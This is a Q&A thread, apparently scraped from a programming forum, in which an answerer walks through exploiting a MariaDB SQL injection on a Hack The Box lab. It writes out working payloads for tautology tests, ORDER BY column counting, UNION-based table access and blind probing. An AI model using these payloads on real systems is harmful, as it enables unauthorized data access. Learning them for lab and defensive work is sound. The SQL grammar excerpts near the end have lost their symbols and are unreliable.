MariaDb SQL Injection

后端 未结 2 1168
情书的邮戳
情书的邮戳 2020-12-06 08:28

I am trying to exploit (legally) a MariaDb database with an SQLi vulnerability.

I have identified the vulnerability here...

/?o=1&page=app

2条回答
  •  被撕碎了的回忆
    2020-12-06 09:17

    EDIT: This is being done on Hack The Box so no nasty illegal stuff going on.

    Ok lets have some fun then.

    When i look at the error message

    DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

    Iám assumming the query and code in the application is more or less like this pseudo wise, the @o is in fact a MySQL user variable..

    SELECT
     *
    FROM
     DUMMY_TABLE
    WHERE
     DUMMY_TABLE.o = '",@o,"'
    LIMIT 10 
    

    I will use a SQL fiddle space to simulate a SQL injection test and more getting possible access to other tables.

    You can test your injection with 1' OR 1 = 1# or 1' OR 1 = 1-- both should work and should give you the same result when you use 1 as input. This is because MariaDB automatic is casting the types for other databases you might need to use the more strict version 1' OR '1' = '1#

    Which should generate

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 
    

    Or

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 
    

    Then because you see errors in the application you can use ORDER BY 1 to check how many columns are selected and increment the number until you get a error.

    Error: ER_BAD_FIELD_ERROR: Unknown column '2' in 'order clause'

    Inject with

    1' ORDER BY 1# or 1' ORDER BY 1--

    Which means sort on the first column in the resultset NOT sort 1 literal.

    Generates

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 
    

    Or

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 
    

    When you know the columns you can use UNION to get into other tables. Use NULL if you don't need all the columns.

    injection

    1' UNION ALL SELECT NULL FROM DUAL#

    Note that DUAL is a "virtual" non existing table in MariaDB, MySQL and Oracle, if you can query this "table" it means you can also technically get into other tables.

    generated SQL

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 
    

    And if the webpage is designed as a "detail" page where one record is always visible you need to add a LIMIT 1, 1 in your injection.

    What if there are no errors visible in the webapplication you should just be able to blindly bruteforce geuss with blind SQL injections and see how the application works.
    Also try things like ?o=0, ?o=NULL or a very high numbers like the max INT value (Signed) ?o=2147483647 or (unsigned) ?o=4294967295 before trying to bruteforce the used column number so you know how the application handles records which can't be found. Because it very unlikely to have id 0 or that high numbers on a INT datatype, because the application will stop working if the last number was given. If you still get a record with those high numbers use the max values for BIGINT datatype instead.

    For column 1 same result id o=1
    1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

    For columns 2 which will error but mostly likely you will see a error page or a message that the record was not found.
    Or a sweet HTTP 404 (Not Found) error status.
    1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

    One problem you might get when using LIMIT without using ORDER BY might be a chance getting the same records because the SQL standard has defined that SQL tables/resultsets are orderless without using ORDER BY

    So you ideally need to keep using ORDER BY 1 in the bruteforces.

    1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
    

    And

    1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
    

    The databases support for ORDER BY 1 is better then i was thinking at first thought as it works in MySQL, MariaDB, SQL Server (MSSQL) and PostgreSQL.

    Also ORDER BY 1 was a SQL 92 feature which was removed in SQL 99.
    So actually SQL databases should not execute ORDER BY 1 annymore if they would follow the SQL standards on this point.

    SQL 92 BNF

      ::=
           [ {   }... ]
    
      ::=
           [  ] [  ]
    
    
      ::=
            
          |  # <- here it is 
    
      ::= ASC | DESC
    

    vs SQL 1999 BNF

      ::=
           [ {   }... ]
    
      ::=
           [  ] [  ]
    
    
      ::=
            
                            # <- missing
    
      ::= ASC | DESC
    

提交回复
热议问题